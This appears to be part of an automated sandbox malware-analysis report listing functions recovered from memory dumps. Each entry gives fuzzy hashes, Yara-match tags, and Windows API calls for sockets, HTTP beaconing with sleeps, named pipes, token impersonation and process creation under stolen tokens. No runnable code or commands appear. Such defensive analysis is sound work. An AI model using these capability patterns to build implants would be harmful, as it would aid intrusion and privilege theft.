Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bcf4a93cf0e073b3dc1f03daa1e0a326a8bdfedaa49a37eb3d1dfebbb949f1c
Instruction ID: eb3a02a25adb7a70c866b771063a4dcf60f4a6fd71850e980e6fcfe65194bb18
Opcode Fuzzy Hash: 7bcf4a93cf0e073b3dc1f03daa1e0a326a8bdfedaa49a37eb3d1dfebbb949f1c
Instruction Fuzzy Hash: 98124E719142598FCB08CF5DD8919BDBBF2EF49300F59816AE496EF382C638E611DB60

Function 00D96FC0 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649c5e0e6f184d593b2a95c2cf2d13bc3a42248f38c8f0b10b3a1c93a9f16d11
Instruction ID: b3a177434e38d9f8d76899524e35401ac714afc3668a0faadb3c23ed4e76b7ba
Opcode Fuzzy Hash: 649c5e0e6f184d593b2a95c2cf2d13bc3a42248f38c8f0b10b3a1c93a9f16d11
Instruction Fuzzy Hash: 3D1250719141A98FDB08CF5DC8D19BDBBF1FF49300F55826AE456AB382C638EA11DB60

Function 00DD58FD Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 024971a3f48ba037cd832ad3432bf4f16ec57a3f43c787c0c05fc17159f836d3
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: EED18EB3D1B9B34A8735812D516823BEE626FD175131FC3E29CD43F38E922A9D0596E0

Function 00D94CFD Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: eb153aff6c78c3e50fc4acb6481ee2cdd4d61393408d37f29857966efd8d1c41
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 00D16E73D0E9F30A8B36812D4168A3BEA626FD175131FC7E09CD42F28ED5279D1296E0

Function 00DD54DD Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 35d7af85e2380425002d049eea17c84f97b002f2fdede9f2fc2bd6f80c6d66ad
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 95D16DB3D1B9B34B8736812D555863BEA626FD174132EC3E2DCD02F38DD22A9D0596E0

Function 00D948DD Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: efa6eb22b3d5bcc2d0fb1c148ee5ea27e6c2c64a7a8f3b6a086e2ed3e41bbff5
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 03D15F73D0E9B30A8B35812D4158A3BEAA26FD175531EC7E1DCD43F28BD6279D0296E0

Function 00DD50D1 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 9a331a35ab29ac99f8c2fc9dc945c68f0c8a77209035c62b79929aca63ac92a7
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: F0C15EB3D1BAF30B8736812D555823BEE626FD175131EC3E28CD42F38E962A9D0595E0

Function 00D944D1 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 1ffff1910c16ad05e8318616d904641d44652b0ca872a159a275ee5fe6397d80
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 1DC15F73D0E9F30A8B75816D416892BEEA26FD165131FC7E1CCD43F28B92279D0695E0

Function 00DD4CFD Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 1ac66ec217e88482d70d4203b4be3ec0d72d524c7aa3c4de0a74d799f2395903
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: FAC15C73D1B9B30B8735822D455813BEAA26FD174132FC7A29CD42F38DD63A9D0595E0

Function 00D940FD Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: 6697727c87e02290b33c309a51a50f7b6c555048f46d96a60abe1be685722a3f
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: D8C15F73D0E9F30A8B35822D4158A3BEAA26FD175131FC7E19CD42F28BD6279D0295E0

Function 00DBB870 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction ID: 46555ffbed5e9c32628a3f09bd3f0c2a2a625411bf75711ce067e1c17218644d
Opcode Fuzzy Hash: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction Fuzzy Hash: 5791BD74E0020ADFCF08CF89C5909EEBBB1BF48315F24819AD8566B315D375AA41DFA5

Function 00DBABA0 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction ID: ee2310002b63b9cc1ea82e3fd0c83cabff4963a59b9b5bec4ac5a57f28e3bb07
Opcode Fuzzy Hash: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction Fuzzy Hash: 6E91BF78E0020ADFCF08CF89C5909EDBBB1BF48315F248199D8566B355D734AA81CFA6

Function 00D7AC70 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction ID: 0f3cc21bad1efbeea8bcc2402dc144707e06a34cff18369b95d10f8045d6f4f6
Opcode Fuzzy Hash: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction Fuzzy Hash: 8891B074E00209DFCF18CF89C5909ADBBB1BF88315F24C199E8556B315E334AA81CFA6

Function 00D79FA0 Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction ID: eff622927b6328376c163afcf9c2cc03ede3584e4352a5c5ebe2d5867e2a7dd5
Opcode Fuzzy Hash: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction Fuzzy Hash: 2391BF74E0020ADFCF08CF89C5909AEBBB1BF88315F24C199D815AB315D335AA41CFA6

Function 00D8282F Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff2b6f834b16b78025c083963c8e988e93abbc0d3e50f43d867b2c402f0a1f38
Instruction ID: 82954a7b4b728540b7ee90e9090fdd0b9fccebb58dfa892c8e70b5cfc6a053b7
Opcode Fuzzy Hash: ff2b6f834b16b78025c083963c8e988e93abbc0d3e50f43d867b2c402f0a1f38
Instruction Fuzzy Hash: 9C41DD76D042A10ECF1ABB788C511BDBFF1FF2A72075A15AAD0D6EA343D5108581DBB4

Function 00DC59E9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: 2de99cd372809c886073451b6248ffc06870ab6b4f6c49016a89b208377a13cc
Instruction ID: e523289832bd5ea69f6e54daa715cf98603feb4841b9c4331ee0421d389ff57b
Opcode Fuzzy Hash: 2de99cd372809c886073451b6248ffc06870ab6b4f6c49016a89b208377a13cc
Instruction Fuzzy Hash: 8E413CB2E0020AAFDB04DFA9D881BAEB7B5EF48310F19816DE905E7345D634ED41DB60

Function 00D84DE9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: 2de99cd372809c886073451b6248ffc06870ab6b4f6c49016a89b208377a13cc
Instruction ID: cd9c800b350a829c12c456d56206356295ebf6c52889aa033d970f161b3c11e6
Opcode Fuzzy Hash: 2de99cd372809c886073451b6248ffc06870ab6b4f6c49016a89b208377a13cc
Instruction Fuzzy Hash: 1C411CB6E0020AAFDB04DFA8C881AAEB7B5FF48310F15816DE905E7345D774AD018B60

Function 00DD7945 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40d8af6ddd94688b72605046ddb6f72551a02b4cee13cb77aaae89ab7b456c96
Instruction ID: 0901f5e4c5bce1b5545589644eda22f9aefbdf66cda22a16593b84d5d0034a63
Opcode Fuzzy Hash: 40d8af6ddd94688b72605046ddb6f72551a02b4cee13cb77aaae89ab7b456c96
Instruction Fuzzy Hash: D441C4759101688FCF48CF9DE8D48EDBBF2FB8D341B45811AE542AB395C638A950CB34

Function 00D96D45 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40ac596cf5526f95ef1f466b5cf0f103403ad38103e58a0c2d3626243e9624f4
Instruction ID: 4d04bcd3cfa1cf7c557f6d800d88bc0481c994f7f24cb260750b3e84cb4f3cf1
Opcode Fuzzy Hash: 40ac596cf5526f95ef1f466b5cf0f103403ad38103e58a0c2d3626243e9624f4
Instruction Fuzzy Hash: 3141A4749101688FDF49CF5DE8E08EDBBF2FB8D341B45811AE542BB396C638A910DB20

Function 00DB8B1A Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 210networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(?), ref: 00DB8B54
select.WS2_32(00000000,?,?,?,?), ref: 00DB8BB8
__WSAFDIsSet.WS2_32(00000000,?), ref: 00DB8BD4
accept.WS2_32(00000000,00000000,00000000), ref: 00DB8BE9
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00DB8BFC

Part of subcall function 00DB8520: _malloc.LIBCMT ref: 00DB8527
Part of subcall function 00DB8520: GetTickCount.KERNEL32 ref: 00DB8547

Part of subcall function 00DB16CB: _malloc.LIBCMT ref: 00DB16D1

Part of subcall function 00DB171B: htonl.WS2_32(0000001F), ref: 00DB1721

Part of subcall function 00DB1864: _memset.LIBCMT ref: 00DB1872

__WSAFDIsSet.WS2_32(00000000,?), ref: 00DB8C89
accept.WS2_32(00000000,00000000,00000000), ref: 00DB8C9B
closesocket.WS2_32(?), ref: 00DB8DA9

Strings

d, xrefs: 00DB8B34

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: _mallocaccepthtonl$CountTick_memsetclosesocketioctlsocketselect
String ID: d
API String ID: 4083423528-2564639436
Opcode ID: bc103241b8e96befb43764d9cf0043f1254703e56a3f52022a9a4d1873ff9630
Instruction ID: 451eb5bb1a47260c44d893d4ed87a79b0a140103c0356e0637f5786351e7c0db
Opcode Fuzzy Hash: bc103241b8e96befb43764d9cf0043f1254703e56a3f52022a9a4d1873ff9630
Instruction Fuzzy Hash: 68711C71800608EFDB21EFA5DC45ADEBBBCEB54310F1445ABE956E3291EB309A44DB70

Function 00DB2962 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 196networksleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB298D
_memset.LIBCMT ref: 00DB29A2
__snprintf.LIBCMT ref: 00DB2A0E
_memset.LIBCMT ref: 00DB2A1C
__snprintf.LIBCMT ref: 00DB2A3A
__snprintf.LIBCMT ref: 00DB2A59
__snprintf.LIBCMT ref: 00DB2AF7
__snprintf.LIBCMT ref: 00DB2B0E
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00DE1540,00DEFFC4), ref: 00DB2B4B
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 00DB2B74
InternetCloseHandle.WININET(00000000), ref: 00DB2B86
Sleep.KERNEL32(000001F4), ref: 00DB2B8D
InternetCloseHandle.WININET(00000000), ref: 00DB2B9E

Strings

%s%s, xrefs: 00DB2B07
*/*, xrefs: 00DB297D

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_memset$CloseHandleHttpInternetRequest$OpenSendSleep
String ID: %s%s$*/*
API String ID: 3375730287-856325523
Opcode ID: 520701835c939000656ab4db097b5b054e1a3ed18aa6f11b911689524fcbd1e0
Instruction ID: 833ad3be4f4b3a916c6af0051c82ec982080a82fd2d2bf2a0d67dbef3d3c8875
Opcode Fuzzy Hash: 520701835c939000656ab4db097b5b054e1a3ed18aa6f11b911689524fcbd1e0
Instruction Fuzzy Hash: 9061B272900259EFDB11ABA4DC85EFE7BB9FF05304F0400A6F606A7212DB319E498B75

Function 00DB2962 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 196networksleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB298D
_memset.LIBCMT ref: 00DB29A2
__snprintf.LIBCMT ref: 00DB2A0E
_memset.LIBCMT ref: 00DB2A1C
__snprintf.LIBCMT ref: 00DB2A3A
__snprintf.LIBCMT ref: 00DB2A59
__snprintf.LIBCMT ref: 00DB2AF7
__snprintf.LIBCMT ref: 00DB2B0E
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00DE1540,00DEFFC4), ref: 00DB2B4B
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 00DB2B74
Sleep.KERNEL32(000001F4), ref: 00DB2B8D

Strings

%s%s, xrefs: 00DB2B07
*/*, xrefs: 00DB297D

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __snprintf$_memset$HttpRequest$OpenSendSleep
String ID: %s%s$*/*
API String ID: 211597586-856325523
Opcode ID: 0e8e5819ab4ac94f711b280d2c462ac47750f95f73deca21dc1ae3b3ad1e2778
Instruction ID: 833ad3be4f4b3a916c6af0051c82ec982080a82fd2d2bf2a0d67dbef3d3c8875
Opcode Fuzzy Hash: 0e8e5819ab4ac94f711b280d2c462ac47750f95f73deca21dc1ae3b3ad1e2778
Instruction Fuzzy Hash: 9061B272900259EFDB11ABA4DC85EFE7BB9FF05304F0400A6F606A7212DB319E498B75

Function 00DB4870 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 184processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00DB489E
_memset.LIBCMT ref: 00DB48BA

Part of subcall function 00DB31C8: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000400,00DB4ACB,?,00DB48E4,00DB4ACB,?,00000400), ref: 00DB31DE
Part of subcall function 00DB31C8: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00DB4ACB,00DB48E4,?,00DB48E4,00DB4ACB,?,00000400,?,?,?,?,00DB4ACB), ref: 00DB31F7

GetCurrentDirectoryW.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00DB4ACB,?,?,?,00DB9320), ref: 00DB4904
GetCurrentDirectoryW.KERNEL32(00000400,?,?,?,?,?,?,?,?,00DB4ACB,?,?,?,00DB9320), ref: 00DB4913
CreateProcessWithTokenW.ADVAPI32(00000002,00000000,?,C0330CC4,00000000,?,C3E8296A,83FFFFDB), ref: 00DB4946

Strings

sysnative, xrefs: 00DB49E2
system32, xrefs: 00DB4A02

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ByteCharCurrentDirectoryMultiWide_memset$CreateProcessTokenWith
String ID: sysnative$system32
API String ID: 2486443368-2461298002
Opcode ID: 10792a0f4286fa8aa09d3cb9169d2872d3cf3f64d47901b62f7437a7188a687e
Instruction ID: 098e20b5ccb69cc2b6a406492823cce3200a500d3df74ee8084aff5b8ff6f814
Opcode Fuzzy Hash: 10792a0f4286fa8aa09d3cb9169d2872d3cf3f64d47901b62f7437a7188a687e
Instruction Fuzzy Hash: E951D372604345EFD721EF64DC85EEB77E9EF85314F14082AE58AC7212EA31D9088B75

Function 00DB79AC Relevance: 18.1, APIs: 12, Instructions: 94pipesleepfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB79BB
GetTickCount.KERNEL32 ref: 00DB79C5
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000003,00100000,00000000), ref: 00DB79DF
GetLastError.KERNEL32 ref: 00DB79EC
WaitNamedPipeA.KERNEL32(?,00002710), ref: 00DB7A01
Sleep.KERNEL32(000003E8), ref: 00DB7A0E
GetTickCount.KERNEL32 ref: 00DB7A14
GetLastError.KERNEL32 ref: 00DB7A2A
GetLastError.KERNEL32 ref: 00DB7A3A
SetNamedPipeHandleState.KERNEL32(?,?,00000000,00000000), ref: 00DB7A58
GetLastError.KERNEL32 ref: 00DB7A62
DisconnectNamedPipe.KERNEL32(?), ref: 00DB7A9C

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast$CountNamedPipeTick$CreateDisconnectFileHandleSleepStateWait
String ID:
API String ID: 34948862-0
Opcode ID: e8d41e175776ac855918c3e71b9abf45a6f7486e17e9dc2388c0ed026aa108f1
Instruction ID: a2a5aab4758796897123a698e6082dd1bf037c42d6964077f211c45f32ba0aad
Opcode Fuzzy Hash: e8d41e175776ac855918c3e71b9abf45a6f7486e17e9dc2388c0ed026aa108f1
Instruction Fuzzy Hash: A021B531608309EBEB516BB49C86BFE379DAB85724F210427F61BE61D1EB605A404671

Function 00DB8919 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00DB892A
select.WS2_32(00000000,00000000,?,?,00000000), ref: 00DB8975
__WSAFDIsSet.WS2_32(?,?), ref: 00DB8985
__WSAFDIsSet.WS2_32(?,?), ref: 00DB8998
GetTickCount.KERNEL32 ref: 00DB89A1
gethostbyname.WS2_32(?), ref: 00DB89AC
htons.WS2_32(?), ref: 00DB89BF
inet_addr.WS2_32(?), ref: 00DB89CB
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 00DB89E5

Strings

d, xrefs: 00DB8938

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: CountTick$gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 1257931466-2564639436
Opcode ID: 60de7127a2569c6982c6801e6b43fe11902c5454986afb80b1961dbb2ace13fe
Instruction ID: bd92605dc3836defcdab63837cea2680fe4d6ee2628ebaa732671640b54cb5e9
Opcode Fuzzy Hash: 60de7127a2569c6982c6801e6b43fe11902c5454986afb80b1961dbb2ace13fe
Instruction Fuzzy Hash: D1214C71900309EBDF119F90DC45BEE7BB9EF08311F1000A7E905E6291EB71DA55AFA1

Function 00DBE114 Relevance: 16.6, APIs: 11, Instructions: 122COMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00DBE13C
htonl.WS2_32(?), ref: 00DBE14C
GetLastError.KERNEL32 ref: 00DBE176
OpenProcessToken.ADVAPI32(00000000,00000000,00000008), ref: 00DBE19A
GetLastError.KERNEL32 ref: 00DBE1A4
ImpersonateLoggedOnUser.ADVAPI32(00000008), ref: 00DBE1C3
GetLastError.KERNEL32 ref: 00DBE1C9
DuplicateTokenEx.ADVAPI32(00000008,02000000,00000000,00000003,00000001,00DF08A4), ref: 00DBE1E8
GetLastError.KERNEL32 ref: 00DBE1F2
ImpersonateLoggedOnUser.ADVAPI32 ref: 00DBE204
GetLastError.KERNEL32 ref: 00DBE20A

Memory Dump Source

Source File: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00DB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_db0000_12.jbxd

Yara matches

Similarity

API ID: ErrorLast$ImpersonateLoggedTokenUserhtonl$DuplicateOpenProcess
String ID:
API String ID: 332438066-0
Opcode ID: 940b190c56af7eead9bbcfb956c25caf8f04b4225f31c599dc4bdaa94c7ab40a
Instruction ID: 57953672c2210bc57074f3a9965a1fb399c7b08bf48472aee7509d627c487cc0
Opcode Fuzzy Hash: 940b190c56af7eead9bbcfb956c25caf8f04b4225f31c599dc4bdaa94c7ab40a
Instruction Fuzzy Hash: E431B575904309FBEB106BA5DC49FFA3BBDDF41799F28402AF603D6191EB7089048A71

Function 00D8CD61 Relevance: 16.6, APIs: 11, Instructions: 105COMMON

Download Yara Rule

APIs

__crt_waiting_on_module_handle.LIBCMT ref: 00D8CD63
__init_pointers.LIBCMT ref: 00D8CE1B
__encode_pointer.LIBCMT ref: 00D8CE26
__encode_pointer.LIBCMT ref: 00D8CE36
__encode_pointer.LIBCMT ref: 00D8CE46
__encode_pointer.LIBCMT ref: 00D8CE56
__decode_pointer.LIBCMT ref: 00D8CE77
__calloc_crt.LIBCMT ref: 00D8CE90
__decode_pointer.LIBCMT ref: 00D8CEAA
__initptd.LIBCMT ref: 00D8CEB9
__mtterm.LIBCMT ref: 00D8CED1

Memory Dump Source

Source File: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_12.jbxd

Yara matches

Similarity

API ID: __encode_pointer$__decode_pointer$__calloc_crt__crt_waiting_on_module_handle__init_pointers__initptd__mtterm
String ID:
API String ID: 3005113738-0
Opcode ID: f4f16914d6c516e466c7836a4cd309be2a1a7730aeb4c8532e1b1462738c008c
Instruction ID: 94bebc15a2b9fba62c64b6f1ca3147eb08032258fcc6b53ad2b962054e8e5c4f
Opcode Fuzzy Hash: f4f16914d6c516e466c7836a4cd309be2a1a7730aeb4c8532e1b1462738c008c
